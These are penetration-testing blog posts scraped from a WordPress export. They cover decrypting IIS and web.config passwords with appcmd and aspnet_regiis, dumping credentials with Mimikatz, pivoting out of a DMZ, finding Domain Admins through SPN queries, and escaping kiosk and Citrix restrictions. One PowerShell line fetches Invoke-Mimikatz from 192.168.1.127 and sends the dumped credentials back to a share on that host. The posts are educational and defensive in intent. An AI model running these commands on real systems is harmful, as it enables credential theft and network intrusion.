C:WindowsSystem32inetsrvconfigapplicationHost.config

Viewing Encrypted Credentials in ApplicationHost.config

If credentials are entered manually into applicationHost.config they may not be encrypted. However, if they are added via the IIS manager or the appcmd.exe they should be (which is the preferred method). To check it out for yourself, open up the applicationHost.config file and take a look. I've provided a short example of an encrypted application pool section below.

 <applicationpools> <add name="DefaultAppPool"> <add name="Classic .NET AppPool" managedpipelinemode="Classic"> <add name="ASP.NET v4.0" managedruntimeversion="v4.0"> <add name="ASP.NET v4.0 Classic" managedruntimeversion="v4.0" managedpipelinemode="Classic"> <add name="MyTestPool" autostart="true"> <processmodel identitytype="SpecificUser" username="mypool" password="[enc:IISWASOnlyAesProvider:4NBAa5HhPq9O7q7irQb8ROMu/+h5j7egSLQiG/8/tqf+NwBueDSD+WwGZ/dhEDr0NrMUCjLq89p30ZO3nXA0jw==:enc]"></processmodel></add> <applicationpooldefaults> <processmodel identitytype="ApplicationPoolIdentity" loaduserprofile="true" setprofileenvironment="false"></processmodel></applicationpooldefaults> </add></add></add></add></applicationpools> 

Introduction to Appcmd.exe

I have to believe that this is an incredibly handy tool for IIS admins. It ships with IIS by default and can be used to add, edit, and remove configurations at pretty much every level of the IIS server. As fun as it would be to cover all of that here - I'm not going to. Mainly because decrypting passwords sounds like more fun at the moment. Before we get started there are a few things you should know.

  1. Appcmd.exe is located at c:windowssystem32inetsrvappcmd.exe.
  2. If you are running appcmd.exe via an RDP session or console, then you will most likely need to be a local administrator or LocalSystem to decrypt any of the passwords.
  3. If you are running appcmd.exe via an uploaded web shell, then you'll only be able to dump passwords if the current application pool is running with local administrator privileges.
  4. Appcmd.exe should work for IIS6 and above.

Decrypting Application Pool Credentials

At this point we could take the long way around by using PowerShell to decrypt the application pool passwords using the DPAPI, but let's save that one for another day (mostly because I haven't found time to figure it all out yet). Instead we are going to use appcmd.exe to decrypt the passwords for us. The first step is getting a list of the existing applications pools as shown below.

1. Get a list of application pools

C:WindowsSystem32inetsrv>appcmd list apppools

Appcmd List Application Pools

Or

 C:WindowsSystem32inetsrv>appcmd list apppools /text:name

2. At this point you can list the entire configuration in cleartext with the command below. It should include the application pool credentials if they have been set.

C:WindowsSystem32inetsrv>appcmd list apppool "MyTestPool" /text:*

Appcmd Dump Configuration And Passwords

3. Alternatively, you can use the command below to list just the credentials.

C:WindowsSystem32inetsrv>appcmd list apppool /text:processmodel.username
C:WindowsSystem32inetsrv>appcmd list apppool /text:processmodel.password

Appcmd List Passwords

Note: The techniques above will dump passwords whether the IIS services are running or not.

Decrypting Application and Virtual Directory Credentials

If you want to take a look at the encrypted application or virtual directory credentials they can be found in the "C:WindowsSystem32InetsrvconfigapplicationHost.config" file. They are stored as attributes of "virtualdirectory" tags. However, if you're like me and prefer clear text credentials, you can use the appcmd.exe commands below.

1. List all virtual directories.

C:WindowsSystem32inetsrv>appcmd list vdir

Appcmd Dump Virtual Directory Passwords

2. Show the configuration for a single virtual directory. You should see the clear text credentials if they have been set.

C:WindowsSystem32inetsrv>appcmd list vdir "Bike Shop/" /text:*

Appcmd Dump Virtual Directory Passwords

Or

C:WindowsSystem32inetsrv>appcmd list vdir "test2/" /config

3. Alternatively, you can query for just credentials directly.

C:WindowsSystem32inetsrv>appcmd list vdir "Bike Shop/" /text:username
C:WindowsSystem32inetsrv>appcmd list vdir "Bike Shop/" /text:password

Appcmd Dump Virtual Directory Passwords Only

Note: The techniques above will dump passwords if the IIS services are running or not.

Automating Decryption with Get-ApplicationHost.ps1 Script

I know this might be overkill, but I wrote a little PowerShell script to dump all of the passwords found in the applicationHost.config file into a pretty table. It can be downloaded from here. I have also submitted to PostExploitation module of the Posh-SecMod project which can be found here. Below are a few different ways to run it.

1. Below is the syntax to dump passwords out in the default format.

C:>powershell
PS C:>get-applicationhost.ps1

Get Applicationhost Dump Iis Passwords In Table

2. Below is the syntax to dump the passwords out a nice table.

PS C:>get-applicationhost.ps1 | Format-Table -Autosize

Get Applicationhost Dump Iis Passwords In Table

3. Below is the syntax to dump the passwords out to a CSV file.

PS C:>get-applicationhost.ps1 | Export-CSV c:applicationHost-Passwords.csv

Get Applicationhost Dump Iis Passwords To Csv File

Dumping Passwords from IIS Services

If you already have local admin access on the target system you can use a tool called Mimikatz written by Benjamin Delpy to recover passwords for accounts used to run Windows services (include IIS). It can be downloaded here.

To capture credentials of running Windows services (like IIS) you can use the commands below.

mimikatz # privilege::debug inject::process lsass.exe sekurlsa.dll mimikatz # @getLogonPasswords

However, if the IIS service is not running for some reason you can also use Mimikatz to dump the service passwords from the LSAsecrets registry location using the commands below.

mimikatz # privilege::debug inject::process lsass.exe sekurlsa.dll  mimikatz # @getSecrets

Mimikatz is packaged as an EXE, but you can also execute it via Powershell thanks to some nice work done by Joseph Bialek (clymb3r). His scripts can be download from here. Combined with a fun little script from Rob Fuller (Mubix), dumping passwords can be done very quickly on a large scale. In the example below Bialek's script is first hosted on a web server at 192.168.1.127:8080. Then Rob's script downloads invoke-Mimikatz.ps1 from the web server, dumps passwords from the local host, and finally saves the results to a network share on the 192.168.1.127.

powershell "IEX New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > 192.168.1.127open%COMPUTERNAME%.txt 2>&1 

For more details surrounding this attack you can checkout Rob's original script and readme file here.

Breaking out of the DMZ

Every DMZ environment is different, but as I mentioned in part one there are usually a number of holes poked through the DMZ firewall that attackers can take advantage of. Common open ports often provide access to SQL Servers, LDAP on domain controllers, file shares, and RDP. However, you may have to do a little network mapping in order to find some good targets. I recommend starting with netstat on the compromised host to find existing connections to internal networks. If that doesn't work out, then move onto enumerating networkshost etc. I wrote a blog a while back that covers the basics of blind network enumeration. You can find here if your interested. Once you have some networks hosts in mind consider the options below for breaking out of the DMZ:

Internet Facing Services

So I lied. Sometimes you have to take a step back to move forward. Once you have credentials sometimes it's possible to use them to log into external services that provide access to internal resources like web applications/services, VPN, and Terminal Service/Citrix desktops. If you're in the DMZ then you've most likely already done some recon. So look at your recon data to identify those services.

SQL Servers

In many cases Windows credentials can be used to authenticate to databases. Follow the same process outlined in part one of the blog to compromise the backend databases and pivot onto the internal network. Once you have a console/shell on the IIS server as the desired user, "osql -E" can be used to execute queries against remote servers with those credentials.

File Shares

Any time you have access to a remote file share there is an opportunity to drop binaries and shortcut files that can help you get a shell. For example, by injecting a UNC path (that point to an attacker's system) into a shortcut file you can force users to authenticate to you. At that point you can either crack their hashes or relay them. Rob Fuller (Mubix) wrote a nice little Metasploit post module to drop a .LNK file here for those who are interested. Also, don't forget about targeting the domain controllers. Netlogon and sysvol shares are usually accessible. Some domains are configured to store local administrator passwords for domain systems in groups.xml on the sysvol share on domain controllers. They are encrypted, but the key is well known. Naturally, having the shared local administrator for the whole domain can come in handy. :)

Remote Desktop

Hopefully this one is intuitive. Simply login via RDP to systems on the internal network once you've found some good targets.

Classic Dictionary Attacks

If the credentials that you recovered from the applicationHost.config file don't have enough privileges to get you logged into the services available through the firewall then you may just have to get another set. Classic dictionary attacks against the DCs can come in very handy for that. It is very common to see LDAP open to DCs from the DMZ. That means that it's usually possible to obtain a full list of domain users via LDAP queries using the domain credentials you've already recovered. Which can then be used to conduct dictionary attacks. However, if for some reason you don't have any domain credentials at this point don't worry - you can use the computer account instead. :)

Every time a Windows system is added to a Windows domain a computer account is made for it. Computer accounts are similar to user accounts, but they are intended to be used to provide the computer access to domain resources. Regardless, if you can run as the computer account then you can query LDAP on the domain controllers. To do that all you have to do is access network resources while running as LocalSystem. For example to obtain a LocalSystem shell you can use:

psexec.exe -s -i cmd.exe

From there you can start dumping users via LDAP using a tool like adfind. Below is a basic example of how to use adfind.exe to pull user data. I think Posh-SecMod also has some fun Powershell modules that can do the same thing.

Adfind -b DC=acme,DC=com -f "objectcategory=user" -gc

After obtaining a full list of users on the domain check for common weak passwords. Sometimes you may even get lucky and snag a Domain Admin account in the process. A while ago I wrote a blog called Introduction to Windows dictionary attacks which should get you started if you're not familiar with common techniques.

Wrap Up

I know there are a lot of options for breaking out of the DMZ that I didn't cover here, but hopefully it is enough to get you started. Regardless, below are some lessons learned. Here's the skinny:

  • If an attacker has local admin rights on your system they can most likely get OS and application passwords and data even if they are encrypted at the file or disk level.
  • The impact can be reduced to some degree by enforcing least privilege on local accounts, domain accounts, and network access controls. Be diligent about enforcing isolation and least privilege on all layers!

Have fun and hack responsibly!

[post_title] => Decrypting IIS Passwords to Break Out of the DMZ: Part 2 [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => decrypting-iis-passwords-to-break-out-of-the-dmz-part-2 [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:04 [post_modified_gmt] => 2021-06-08 21:49:04 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1119 [menu_order] => 341 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [39] => WP_Post Object ( [ID] => 1125 [post_author] => 17 [post_date] => 2014-03-10 07:00:31 [post_date_gmt] => 2014-03-10 07:00:31 [post_content] => If you can't wait until the Secure360 conference to see Scott Sutherland's "Attack all the Layers! Again!" presentation or take his class, "Introduction to Penetration Testing" well then here's a guest blog he did for Secure360 to help tide you over... Detective control testing during penetration tests [post_title] => Detective control testing during penetration tests Scott Sutherland Guest Blogs for Secure360 [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => detective-control-testing-during-penetration-test-guest-blogs-for-secure360 [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:18 [post_modified_gmt] => 2021-04-13 00:05:18 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1125 [menu_order] => 346 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [40] => WP_Post Object ( [ID] => 1129 [post_author] => 17 [post_date] => 2014-02-10 07:00:15 [post_date_gmt] => 2014-02-10 07:00:15 [post_content] =>

From the perspective of a penetration tester, it would be nice if every vulnerability provided a direct path to high-value systems on the internal network.  However, the reality is that we aren’t always that lucky, and sometimes we land on an application server in the DMZ network first. In this blog I’ll cover how to use native IIS  tools to recover encrypted database passwords from web.config files and leverage them to break into the internal network from the DMZ.  This should be interesting to penetration testers, developers, and system administrators trying to gain a better understanding of the value and limitations of passwords encrypted in IIS configuration files. Below is an overview of what will be covered.

Web.config Overview

Web.config is an XML configuration file that is used to control ASP.NET servers, applications, and pages. As an attacker, web.config files are incredibly valuable because they often contain connection strings that can be used to access databases on the internal network. Usually holes are poked through the DMZ firewall that allows the application server to access backend database servers. So connecting through the firewall boundary usually isn’t a problem. Once the attacker has successfully connected to a database server on the internal network it is possible escalate to the operating system level and in a few short steps obtain Domain Admin privileges. Below I’ll cover how to find and decrypt connection strings in web.config files.

Finding web.config Files

Before the connection strings can be extracted, the web.config files will need to be located. They can be found in multiple locations, but are typically located in the web root of each application directory. For example: “c:inetpubwwwrootMyAppweb.config”. As it turns out, IIS application directories are not always in the inetpub directory, and may not be located on the C drive at all. Thankfully there is a native command that can help. The appcmd.exe command is installed along with IIS 7 and can search, view, and modify IIS configurations (assuming you’re an admin). So we can run the command below to find the application directories we are looking for.

%windir%system32inetsrvappcmd list vdir

From there it’s possible to quickly recursively search the directories for web.config files with the command below:

dir /s /b c:MyTestSite | find /I "web.config"

Finding Connection Strings in the web.config

Now that we know where the web.config files are, we can start searching for connection strings. Luckily they are pretty easy to find because they are contained within the "connectionstrings" XML tag. Below is a basic example of what an unencrypted connection string might look like in a web.config file.

&lt;connectionStrings&gt;
&lt;add
name="MyConnectionString"
connectionString="Data Source=PRDSQLSRV1;
Initial Catalog=Northwind;
Persist Security Info=True;
User ID=sa;
Password=Password1" providerName="System.Data.SqlClient"
&gt;
&lt;/add&gt;
&lt;/connectionstrings&gt;

Appcmd can be used to streamline the recovery of connection strings if they are not encrypted. Below is a little script example:

for /f %i in ('%systemroot%system32inetsrvappcmd list site /text:name') DO %systemroot%system32inetsrvappcmd list config "%i" -section:connectionstrings

Decrypting Connection Strings in the web.config

From an attacker’s perspective it’s nice if connection strings are not encrypted. The reality is that it’s becoming more and more common for the strings to be encrypted (which is good for admins). Encrypting web.config files is useful for protecting connection strings when they have been backed up. However, once an attacker has administrative access to an IIS server it is possible to use the same methods the developers use to decrypt the connection strings.  Aspnet_regiis.exe is another native tool which is installed by default with .Net for IIS. In this example we are going to use it to decrypt our web.config. Below are the basic steps.

1. Copy the web.config out of the application directory.

copy "c:inetpubwwwrootMyAppweb.config"  c:temp

2. View the file to verify the connection strings are encrypted. The connection strings should be encrypted in the "cipherdata" and "ciphervalue" tags within the "connectionStrings" tab.

type c:tempweb.config

3. Decrypt the connection string in the web.config with aspnet_regiis.exe.  Make sure to use the most recent version found in the Framework folder.  The newest version is typically backwards compatible and should be able to decrypt connection strings that were encrypted with an older version.

C:WindowsMicrosoft.NETFrameworkv2.0.50727aspnet_regiis.exe -pdf "connectionStrings" C:temp

4. Recover the unencrypted connection strings from the web.config file. The cleartext connection strings should look like the example shown in the last section.

type c:tempweb.config

To automated the entire process I've write a small Powershell script called "get-webconfig.ps1" with Antti Rantasaari.  It can be downloaded from github HERE.  It's also been added to the Posh-SecMod Powershell project owned by Carlos Perez.  The toolkit has a ton of handy scripts for all sorts of things - go check it out at https://github.com/darkoperator/Posh-SecMod.  Ok, back on track...

Don't forget to run as an administrator or system.  Below is an example of the output.  It will show the username, password, database server, IIS virtual directory, full path to the web.config, and indicate if it was found encrypted.

PS C:&gt;get-webconfig.ps1 | Format-Table -Autosize         user    pass       dbserv                vdir               path                          encr ----    ----       ------                ----               ----                          ---- s1admin s1password 192.168.1.101server1 C:App1            C:App1web.config            No   s1user  s1password 192.168.1.101server1 C:inetpubwwwroot C:inetpubwwwrootweb.config No   s2user  s2password 192.168.1.102server2 C:App2            C:App2testweb.config       No   s2user  s2password 192.168.1.102server2 C:App2            C:App2web.config            Yes  s3user  s3password 192.168.1.103server3 D:App3            D:App3web.config            No

Connecting to the Backend Database

Now that we have decrypted the database connection strings let’s use them. In most cases, web applications hosted on an IIS server connect to a Microsoft SQL Server on the backend. In some cases the command line SQL client tools are already installed on the IIS server. Those can be leveraged to access the database without too much effort. Below are some basic examples.

isql.exe –S PRDSRV1 –U sa –P Password1 –Q “SELECT name FROM master..sysdatabases”
osql.exe –S PRDSRV1 –U sa –P Password1 –Q “SELECT name FROM master..sysdatabases”
sqlcmd.exe –S PRDSRV1 –U sa –P Password1 –Q “SELECT name FROM master..sysdatabases”

If command line SQL clients are not on the server, then PowerShell can be used to accomplish the same goal. Antti Rantasaari made a great web shell that will do all of this for you. He also wrote a nice little blog to go with it that you can find here. Below is a basic example showing how to list all of the databases on the remote server if you want to experiment on your own.  However, during a real attack you would most likely use the xp_cmdshell and xp_dirtree stored procedures to pivot into the internal network.  Antti and I put together a presentation a while back the covers those topics in more detail. You can download it from slideshare here.

$conn = New-Object System.Data.SqlClient.SqlConnection $conn.ConnectionString = "Server=PRDSRV1;Database=master;User ID=sa;Password=Password1;" $conn.Open() $sql = "SELECT name from master..sysdatabases" $cmd = New-Object System.Data.SqlClient.SqlCommand($sql,$conn) $rdr = $cmd.ExecuteReader() $test = @() while($rdr.Read()) { $test += ($rdr["name"].ToString()) } Write-Output $test

Wrap Up

Encrypting passwords in the web.config does help reduce risk related to read-only attacks and access to backup files. However, if an attacker is able to gain administrative access to a system they will be able to use administrative tools or Windows APIs such as crypt32.dll to decrypt protected passwords. As a result, attackers may be able to break out of the DMZ zone and into the internal network. That is why it is very important to also make sure that all accounts are configured with least privilege, proper network zone isolation is enforced, and sensitive accounts are being audited. Hopefully this was helpful.  Have fun and hack responsibly!

Resources

[post_title] => Decrypting IIS Passwords to Break Out of the DMZ: Part 1 [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => decrypting-iis-passwords-to-break-out-of-the-dmz-part-1 [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:17 [post_modified_gmt] => 2021-06-08 21:49:17 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1129 [menu_order] => 350 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [41] => WP_Post Object ( [ID] => 1134 [post_author] => 17 [post_date] => 2014-01-06 07:00:21 [post_date_gmt] => 2014-01-06 07:00:21 [post_content] => If you’re a penetration tester, then you probably already know that escalating from a local administrator to a Domain Admin only requires a few steps.  Those steps typically involve stealing Domain Admin passwords, password hashes, or authentication tokens via various methods.  However, if you aren’t lucky enough to have a Domain Admin logged into the system you just compromised, then you’ll have to go looking for one that does.  A while back I wrote a short blog called “5 Ways to Find Systems Running Domain Admin Processes” that outlines a few common approaches, but recently I found another one.  So in this blog I’ll cover how to find systems where Domain Admins are likely to be logged in by querying the “ServicePrincipleName” attribute of accounts in LDAP.  I’ve also written a little PowerShell module to automate the process.  Hopefully it will be useful to penetration testers and admins interested in knowing where their domain accounts are running services on the domain.

LDAP Overview

For those who are not familiar with the Lightwieght Directory Access Protocol (LDAP), it is exactly what it sounds like – a directory of information.  Although LDAP is used across many platforms, in Windows domain environments it lives at the heart of Active Directory Services (ADS).  ADS performs authentication and authorization for Windows Domains, but also houses a ton of information. That information includes, but is not limited to domain accounts, computer accounts, domain groups, security policies, and software updates.  Each object has multiple attributes associated with it, and almost all of them can be queried via LDAP.   For example, every user account has a "Created" attribute that indicates when the account was created.  Similarly every account has a  “ServicePrincipleName” attribute which will be the focus of the rest of this blog.

ServicePrincipleName Overview

Microsoft’s documentation states, “A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service.”   Based some light reading it sounds like the official use is to facilitate Kerberos authentication on Windows domains.  However, we are going to use it for something else.   For our purposes, the multi-value ServicePrincpleName attribute is handy, because each user and computer object in Active Directory stores all of the services that the account runs on the domain.  So it’s it easy to locate common servers like IIS, SQL Server, and LDAP.  It’s also handy because it can tell us where accounts are configured to be running or logged in (like Domain Admins).  This is relatively easy, because SPNs have a standardized naming convention.  SPNs are usually formatted as SERVICE/HOST, but sometimes they also include a port like SERVICE/HOST:PORT. For example, if a domain account was used to run DNS and SQL Server services on the acme.com domain then the SPN entries would look something like the following:
DNS/Server1.acme.com MSSQLSvc/Server2.acme.com:1433
Querying LDAP for basic SPN information is pretty straight forward. For example, adfind.exe (www.joeware.net) can be used to list all of the SQL Server instances registered on a domain with the following command as an authenticated user:
C: >Adfind.exe -f "ServicePrincipalName=MSSQLSvc*"
Also, the “setspn.exe” tool that comes with Windows Server 2008 can be used to quickly lookup the SPNs for a specific account.
C: >setspn.exe –l user1
I’ve found during penetration tests that most enterprise environments have Domain Admins accounts that are used to run services on the domain. As result, it is possible to simply query LDAP for all of the Domain Admins and review their SPN entries for servers where they are likely to be logged in during escalation. No shell spraying required. However, adfind and setspn lack default options to quickly run SPN queries against groups so I wrote a little PowerShell module called “Get-SPN” to help make my life easier.

Get-SPN PowerShell Module

The Get-SPN PowerShell module provides an easy way to quickly search LDAP for accounts that match a specific user, group, or SPN service name. For those who are interested it can be downloaded from my Github account here. Please note that it does require PowerShell v3. The module can be installed manually by downloading the Get-SPN.psm1 file to one of two locations:
%USERPROFILE%DocumentsWindowsPowerShellModules  %WINDIR%System32WindowsPowerShellv1.0Modules
It can then be imported with the following command:
Import-Module .Get-SPN.psm1
Import After it’s installed for your current session you should be good to go. Below are a few examples from my small test environment to help get you started. More examples can be found in the help for the command.
Get-Help Get-SPN -full

Find All Servers where Domain Admins are Registered to Run Services

If you are executing the command as domain user or LocalSystem from a domain computer then you can use the command below:
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table –Autosize
Domainadmins The command can also be run without the “-list” options for more verbose output.  For example:
Get-SPN -type group -search "Domain Admins"
Domainadmins If you are executing from a non domain system with domain credentials you can use the command below.  The “DomainController” and “Credential” options can be used with any of the Get-SPN queries.
Get-SPN  -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table –Autosize

Find All Registered SQL Servers on the Domain

If you are executing the command as domain user or LocalSystem from a domain computer then you can use the command below:
Get-SPN  -type service -search "MSSQLSvc*" -List yes | Format-Table –Autosize
Service For those interested in services other than SQL Server below is a list of standard SPN service names. alerter,appmgmt,browser,cifs,cisvc,clipsrv,dcom,dhcp,dmserver,dns,dnscache,eventlog,eventsystem,fax, http,ias,iisadmin,messenger,msiserver,mcsvc,netdde,netddedsm,netlogon,netman,nmagent,oakley,plugplay,policyagent, protectedstorage,rasman,remoteaccess,replicator,rpc,rpclocator,rpcss,rsvp,samss,scardsvr,scesrv,schedule,scm,seclogon, snmp,spooler,tapisrv,time,trksvr,trkwks,ups,w3svc,wins,www

Finding All ServicePrincipalName Entries for Domain Users Matching String

If you are executing the command as domain user or LocalSystem from a domain computer then you can use the command below:
Get-SPN  -type user -search "*svc*" -List yes
Service

Wrap Up

At this point there are a few limitations I should call out if you are planning to use SPNs to locate systems where Domain Admin accounts are logged on:
  1. Not all Domain Admin accounts will be used to run services.
  2. SPNs are automatically registered when an application is installed, but in most cases if the account is changed after the initial installation then it will not be reflected in the SPN unless manually added.
As a result, most of the time SPNs are very useful for finding Domain Admins, but in some environments they are relatively useless. Regardless, leveraging them to find Domain Admin systems means that you don’t have to perform scanning or shell spraying over the network. This is nice in the end, because it helps reduce the attack fingerprint and detection during penetration tests. Finally, don’t forget that ServicePrincpleNames can be used to locate high value data targets such as SQL Servers, Web Servers, etc on the domain. Good hunting. Have fun and hack responsibly. :)

References

[post_title] => Faster Domain Escalation using LDAP [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => faster-domain-escalation-using-ldap [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:19 [post_modified_gmt] => 2021-06-08 21:49:19 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1134 [menu_order] => 354 [post_type] => post [post_mime_type] => [comment_count] => 4 [filter] => raw ) [42] => WP_Post Object ( [ID] => 1161 [post_author] => 17 [post_date] => 2013-05-22 07:00:33 [post_date_gmt] => 2013-05-22 07:00:33 [post_content] => In order to meet business requirements and client demand for remote access, many companies choose to deploy applications using  Terminal Services, Citrix, and kiosk platforms.  These platforms are commonly deployed in both internal networks as well as internet facing environments.  In my experience, such application deployments are rarely locked down enough to prevent an attacker from breaking out to the underlying operating system. As a result, these systems can often be used as an entry point into the network and have the potential to provide attackers with unauthorized access to systems, applications, and sensitive data.  The goal of this blog is to provide a simple process for testing common breakout scenarios using manual techniques and free tool kits.  This should be useful to penetration testers and system administrators alike. Below is an overview of the high level process and topics that will be covered:

Obtain a Common Dialog Box

The first step towards breaking out of applications deployed via Terminal Services, Citrix, or a kiosk platform is often obtaining a Windows common dialog box.  This is usually possible via keyboard shortcuts and application functionality that interacts with the file system.  Windows XP dialog boxes look something like the screenshot below. Scott Breakingout Img Windows Vista and above have additional built-in functionality for these dialogs such as Windows Search.  However, a lot of those functions can be limited or removed via group policy settings.  Regardless, there are a few ways that attackers and users are able to obtain a Windows dialog box.

Intended Application Functionality

Many desktop applications deployed via Citrix and Terminal Services support functionality that allows them to interact with files on the operating system. Functions that allow users to save, save as, open, load, browse, import, export, help, search, scan, and print will usually be able to provide an attacker with a Windows dialog box.  Below is a basic example using notepad.exe. Scott Breakingout Img

Shortcut Keys: Windows

A lot of applications are deployed to environments that do not suppress default Windows shortcut keys via group policy or other means.  As a result, attackers can often gain unauthorized access to other applications, menus, and dialog boxes.  I have had a lot of luck with the accessibility option shortcut keys, but a larger list of default Windows shortcut keys can be found at http://support.microsoft.com/kb/126449.  Also, the terminal services hardening guide (from Microsoft) can be found at http://technet.microsoft.com/en-us/library/cc264467.aspx.  It provides some guidance for disabling most of the shortcut keys.  Below is a basic example showing how to obtain an explorer dialog box using the “Sticky Keys” accessibility option shortcut keys. 1. Hit shift 5 times to obtain the Sticky Keys popup. Scott Breakingout Img 2. Click the link to access to open the explorer dialog box. In this instance, the explorer functionality can be accessed via the address bar. Scott Breakingout Img

Shortcut Keys: Citrix ICA Hotkeys

Citrix implementations have their own set of shortcuts or “hotkeys” that can lead to unauthorized system access.  In some cases, custom hotkeys can be set in the ICA configuration file.  Below are a few links that cover the default hotkeys, how to configure custom hotkeys, and how both can be disabled.

Internal Explorer Breakouts: Download and Run/Open

Most browsers support the execution of downloaded files from the browser.  They also support running open files with their default program.  So for example, a .txt file downloaded from a malicious web server would most likely open in notepad by default.   Interactive Kiosk Attack Tool (iKAT) Desktop is a free Kiosk hacking framework that has some nice support for quite a few break out scenarios.  However, in this instance the “File Handlers” and “iKat Tools” menus are particularly useful.  It can be downloaded from http://ikat.ha.cked.net/Windows/index.html.

Internal Explorer Breakouts: Menus

A lot of web applications are deployed via Terminal Services, Citrix, and Kiosk platforms.  Most of them are made accessible via Internet explorer.  As it turns out Internet Explorer is very integrated with the Windows operating system.  As a result, it can be used to navigate to folders, execute programs, and download content via native functionality.   Common areas that can be used to break out of Internet Explorer include, but are not limited to:
  • The address bar
  • Search menus
  • Help menus
  • Print menus
  • All other menus that provide dialog boxes
  • Right-click menus that support things like:
    • Goto/search copied address functionality
    • View source functionality
    • Third party plug-ins
Below is a basic screen shot of Internet Explorer.  I’ve outlined a few of the common functions/menus that can be used to break out to other applications or obtain a dialog box. Scott Breakingout Img

Internal Explorer Breakouts: Menu Links

In Internet Explorer you can also access common dialog boxes via HTML hyperlinks.  iKat Desktop has included a module to launch dialog boxes through such links.  In order to leverage the module simply start iKat, navigate the iKat web server via the target application, and click on the links in the “Common Dialogs” menu.  Below is a sample screen shot. Scott Breakingout Img To be fair I’ve also provided a few links related to locking down Internet Explorer and placing it into “kiosk mode” to help prevent attackers from using it to breakout to the local operating system.

Bypass Folder Path Restrictions

After obtaining a Windows dialog box, the next step is often to navigate to a folder path that houses native executables that can provide an interactive console, registry access, etc.  Usually you can simply type the folder path into the file name field, but sometimes you will have to use alternative options.  Below are some options that typically work in both explorer and Internet Explorer.  Most of them can be prevented via group policy or registry modifications.

Standard Folder Paths

A standard file path looks like “C:WindowsSystem32” and can be entered into the file name field in order to navigate to the desired folder.  Below is a basic screen shot example from Windows XP. Scott Breakingout Img

Folder Paths in Shortcut Links

In a handful of instances I’ve found it useful to modify existing Windows shortcuts to gain unauthorized access to folder paths.  Below are the basic steps.
  • Right-click the shortcut
  • Choose properties
  • In the “Target” field change the path to the folder you wish to access.
Below is a sample screen shot of what the shortcut properties window should look like for an application named “MyApplication”.

Img E E

Folder Path Alternatives: Environmental variables

By default, Windows sets a number of environmental variables that can be used almost anywhere in Windows (including file dialog boxes).  To view the standard environmental variables you can type “set” in a command console.  In most cases you should be able to type the variable into the Filename and gain some access to the relative directory.  Below are some default variables to get you started.
  • %USERPROFILE%
  • %PROGRAMDATA%
  • %PUBLIC%
  • %TMP%
  • %WINDIR%
  • %SYSTEMDRIVE%
  • %SYSTEMROOT%
Below is a basic screen shot example.

Img E Bc F A

Folder Path Alternatives: Shell URI Handlers

There are a lot of folder locations that can be accessed via shell command shortcuts.  Many of which will allow you to execute programs, and provide some level of write access, that will come in handy later on.  I have not been able to find any solid Microsoft documentation on this, but there are quite a few sites online with good command lists. One of which is http://docs.rainmeter.net/tips/launching-windows-special-folders.  Below are a few shell command examples.  They can be executed from the run menu, taskmgr, command console,  or the file name/path fields in a Windows dialog box.
  • shell:DocumentsLibrary
  • shell:Librariesshell:UserProfiles
  • shell:Personal
  • shell:SearchHomeFolder
  • shell:System shell:NetworkPlacesFolder
  • shell:SendTo
  • shell:Common Administrative Tools
  • shell:MyComputerFolder
  • shell:InternetFolder
Below is a basic screen shot example showing how the “shell:Common Administrative Tools” command can be issued in the file name field to access a folder containing shortcuts to administrative tools.

Img E E

It’s worth noting the common Shell handler commands can be found in the iKat Desktop “File System Links” menu.

Folder Path Alternatives: File Protocol Handler

Below is an example of how to use the file handler to access a folder path.  Enter the path into the filename and press enter to change the directory.  A file handler folder path looks like “file:///c:/Windows/System32/”.

Img E D D C

There are a number of other native protocol handlers that can be targeted as well. iKat  has a menu that contains a list of the common ones, but I’ve provided a short list of them below to give you an idea of the potential.
  • data:
  • res:
  • about:
  • mailto:
  • ftp:
  • news:
  • telnet:
  • view-source:

Folder Path Alternatives: UNC Path

In many cases UNC paths can be used to bypass group policy restrictions preventing you from accessing all of your favorite file paths.  Below is a basic screen shot showing how a UNC path can be used to navigate to the “c:windowssystem32” directory of a Windows 7 system via the address field.  It should be noted that you can use the file protocol handler and UNC paths together.

Img E

Windows Search

The native search functionality in Windows can often be used to navigate the operating system even with restrictive policies in place.  For example, performing a search and then clicking the “custom” menu will at a minimum provide a full list of the folders on of the operating system even if the file restrictions have been put into place by GPO.  In some cases you may even be able to break out to your personal directories.  This can be accomplished using the steps below: 1. Obtain a dialog box

Img E E

2. Search for any string

Img E

3. Click "Custom..."

Img E B Cce

4. Add a custom search path for "c:"

Img E D E

5. Expand the “c:” and right-click the sub directory that you would like to access.  Then choose “Include in library->Create new library”.

Img E A C

6. A soft link to the location will be created in your personal libraries folder, and the folder will be automatically opened. In some case allow you to access folders and files that you shouldn’t have access to.

Img E Da B

There are also some more advanced search commands that can help you refine searches for key files during your breakouts at the sites listed below.

Bypass File Type Restrictions

Sometimes dialog boxes will be deployed so that only certain file types or folders can be viewed.  Most of the time this can be bypassed by entering wild card characters into the filename field and pressing enter.  I provided some basic examples below, but didn’t feel this one really warranted a screen shot.
  • *.exe
  • *
  • *.*

Bypass File Read Restrictions

